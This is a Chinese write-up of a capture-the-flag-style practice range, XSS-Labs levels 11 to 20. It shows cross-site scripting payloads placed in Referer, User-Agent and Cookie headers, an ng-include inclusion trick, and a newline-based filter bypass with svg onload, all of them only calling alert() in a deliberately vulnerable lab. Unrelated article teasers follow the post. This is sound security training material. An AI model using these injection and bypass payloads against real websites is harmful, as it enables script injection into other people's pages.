《XSS-Labs》02. Level 11~20

XSS-Labs

  • 索引
  • Level-11
    • 题解
  • Level-12
    • 题解
  • Level-13
    • 题解
  • Level-14
    • 题解
  • Level-15
    • 题解
  • Level-16
    • 题解
  • Level-17
    • 题解
  • Level-18~20
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/do0dl3/xss-labs

只要手动注入恶意 JavaScript 脚本成功,就可以证明 xss 漏洞存在。
最简单的验证方法:<script>alert("xss");</script>

索引

  • Level-11:Referer 头传递 payload。
  • Level-12:User-Agent 头传递 payload。
  • Level-13:Cookie 头传递 payload。
  • Level-14:图片 exif xss 漏洞。
  • Level-15:ng-include 利用。
  • Level-16:换行(%0a)代替空格绕过。
  • Level-17:flash 插件与 embed 标签。
  • Level-18 ~ 20:flash 插件相关 xss 漏洞。

Level-11

题解

先看看网页源码。

在这里插入图片描述

<input> 标签有四个值,都做了隐藏处理。其中第四个名为 t_ref 的标签是 http 头中 referer 的参数。

先 GET 与 POST 传参测试一下前三个标签能不能传值。

GET:

url + ?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

POST:

t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

结果是都不能赋值。那就只能通过 referer 头传递 payload。

Referer: " οnfοcus=javascript:alert() type="text

在这里插入图片描述

Level-12

题解

看一眼源码。一眼 User-Agent 头。

在这里插入图片描述

那就直接上 payload。

User-Agent: " οnfοcus=javascript:alert() type="text

在这里插入图片描述

Level-13

题解

与 Level-11 和 Level-12 类似。利用 Cookie 头构造 payload。

Cookie: user=" οnclick=alert() type="text 

在这里插入图片描述

Level-14

题解

这题会定时转跳到一个已经挂了的网站。

看了其他文章,有关图片 exif xss 漏洞。反正这题是没法做了,了解一下即可。

《xss-labs靶场-第十四关 iframe和exif xss漏洞》
https://www.freebuf.com/articles/web/282983.html

《XSS挑战之旅–游戏通关攻略》
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12

Level-15

在这里插入图片描述

题解

查看源码,可以看到传递的参数在代码中的位置。

在这里插入图片描述

ng-include:就是文件包含的意思,用来包含外部文件,如果包含的内容是地址,需要加引号。可以无视 html 实体化。

包含第一关看看,这里根据实际路径进行更改。

url + ?src='/lab/xss/level1.php'

在这里插入图片描述

所以可以包含之前的一关并对其传参来进行 xss。

这里不能包含直接弹窗的代码,如 <script>,但是可以利用能间接弹窗的代码,比如 <a><input><img><p> 标签等。

payload

url + ?src='/lab/xss/level1.php?name=<img src=level15.png οnmοuseοver=alert()>'

Level-16

题解

先测试一下关键字:

url + ?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

在这里插入图片描述

过滤了很多东西,【/】也被过滤了,空格也被 html 实体化。

不过可以使用回车换行(%0a)代替空格。

payload

url + ?keyword=<svg%0Aonload=alert(1)>

Level-17

题解

这题主要考察 flash。需要使用支持 flash 插件的浏览器。也考察 embed 标签。

解题方法没什么新颖的。

可以参考:

《xss-labs靶场实战全通关详细过程》
https://blog.csdn.net/l2872253606/article/details/125638898

Level-18~20

题解

没想到最后几关都是有关 flash 插件的,甚至还涉及反汇编…

直接参考大佬文章吧,毕竟 flash 插件可以认为是过时了…

《xss-labs靶场实战全通关详细过程》
https://blog.csdn.net/l2872253606/article/details/125638898

Adobe 公司宣布将于 2020 年停止支持 Flash Player,因为 Flash 插件存在许多安全漏洞和缺陷,对于计算机和浏览器存在潜在的安全风险。
大多数现代浏览器已经默认禁用了 Flash 插件。


若问相思甚了期,除非相见时。

——《长相思》(宋)晏几道

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/124232.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

协议栈——连接服务器

如对方的ip和port配置信息&#xff0c;这里的连接是指通信前的准备工作 上一篇介绍查看套接字的命令时&#xff0c;可以看到很多信息&#xff0c;但是刚刚创建出来的套接字是什么信息都没有的&#xff0c;协议栈也因此不知道和谁通信&#xff1b; 客户端填补信息 这一步中调…

93、Redis 之 使用连接池管理Redis6.0以上的连接 及 消息的订阅与发布

★ 使用连接池管理Redis连接 从Redis 6.0开始&#xff0c;Redis可支持使用多线程来接收、处理客户端命令&#xff0c;因此应用程序可使用连接池来管理Redis连接。 上一章讲的是创建单个连接来操作redis数据库&#xff0c;这次使用连接池来操作redis数据库 Lettuce连接池 支持…

PHP图片文件管理功能系统源码

文件图库管理单PHP源码直接解压就能用&#xff0c;单文件&#xff0c;indexm.php文件可以重新命名&#xff0c;上传到需要访问的目录中&#xff0c; 可以查看目录以及各个文件&#xff0c;图片等和下载及修改管理服务。 源码下载&#xff1a;https://download.csdn.net/downloa…

数据结构--队列与循环队列的实现

数据结构–队列的实现 1.队列的定义 比如有一个人叫做张三,这天他要去医院看病,看病时就需要先挂号,由于他来的比较晚,所以他的号码就比较大,来的比较早的号码就比较小,需要到就诊窗口从小号到大依次排队,前面的小号就诊结束之后,才会轮到大号来,小号每就诊完毕就销毁,每新来…

零基础Linux_11(进程)进程程序替换+实现简单的shell

目录 1. 进程程序替换 1.1 程序替换原理 1.2 execl 接口 1.3 execv execlp execvp 1.4 exec 调各种程序 1.5 execle 接口 2. 实现简单的shell 2.1 打印提示和获取输入 2.2 拆开输入的命令和选项 2.3 创建进程和程序替换执行命令 2.4 内建命令实现路径切换 2.5 my…

数据结构: 数组与链表

目录 1 数组 1.1 数组常用操作 1. 初始化数组 2. 访问元素 3. 插入元素 4. 删除元素 5. 遍历数组 6. 查找元素 7. 扩容数组 1.2 数组优点与局限性 1.3 数组典型应用 2 链表 2.1 链表常用操作 1. 初始化链表 2. 插入节点 3. 删除…

postgresql新特性之Merge

postgresql新特性之Merge 创建测试表测试案例 创建测试表 create table cps.public.test(id integer primary key,balance numeric,status varchar(1));测试案例 官网介绍 merge into test t using ( select 1 id,0 balance,Y status) s on(t.id s.id) -- 当匹配上了,statu…

互联网Java工程师面试题·Zookeeper 篇·第二弹

目录 13. 服务器角色 14. Zookeeper 下 Server 工作状态 15. 数据同步 16. zookeeper 是如何保证事务的顺序一致性的&#xff1f; 17. 分布式集群中为什么会有 Master&#xff1f; 18. zk 节点宕机如何处理&#xff1f; 19. zookeeper 负载均衡和 nginx 负载均衡区别 20…

怎么才能实现一个链接自动识别安卓.apk苹果.ipa手机和win电脑wac电脑

您想要实现的功能是通过检测用户代理&#xff08;User Agent&#xff09;来识别访问设备类型并根据设备类型展示相应的页面。您可以根据以下步骤进行实现&#xff1a; 选择后端语言和框架&#xff0c;例如&#xff1a;Node.js、Express。 创建一个新的Express项目。 编写一个…

开发过程教学——交友小程序

交友小程序 1. 我的基本信息2. 我的人脉2.1 我的关注2.2 我的粉丝 3. 我的视频4. 我的相册 特别注意&#xff1a;由于小程序分包限制2M以内&#xff0c;所以要注意图片和视频的处理。 1. 我的基本信息 数据库表&#xff1a; 我的基本信息我的登录退出记录我的登录状态&#x…

kubectl命令举例

为了使读者能够快速掌握kubectl命令的使用方法&#xff0c;下面对常用的命令进行介绍。 1. kubectl create命令 此命令通过文件或者标准输入创建一个资源对象&#xff0c;支持YAML或者JSON格式的配置文件。例如&#xff0c;如果用户创建了一个Nginx的YAML配置文件&#xff0c…

安装JDK(Java SE Development Kit)超详细教程

文章时间 &#xff1a; 2023-10-04 1. 下载地址 直接去下载地址&#xff1a;https://www.oracle.com/java/technologies/downloads/ &#xff08;需要翻墙&#xff0c;不想翻墙或者不想注册oracel账号的&#xff0c;直接去我的阿里云盘&#xff09; 阿里云盘&#xff1a;http…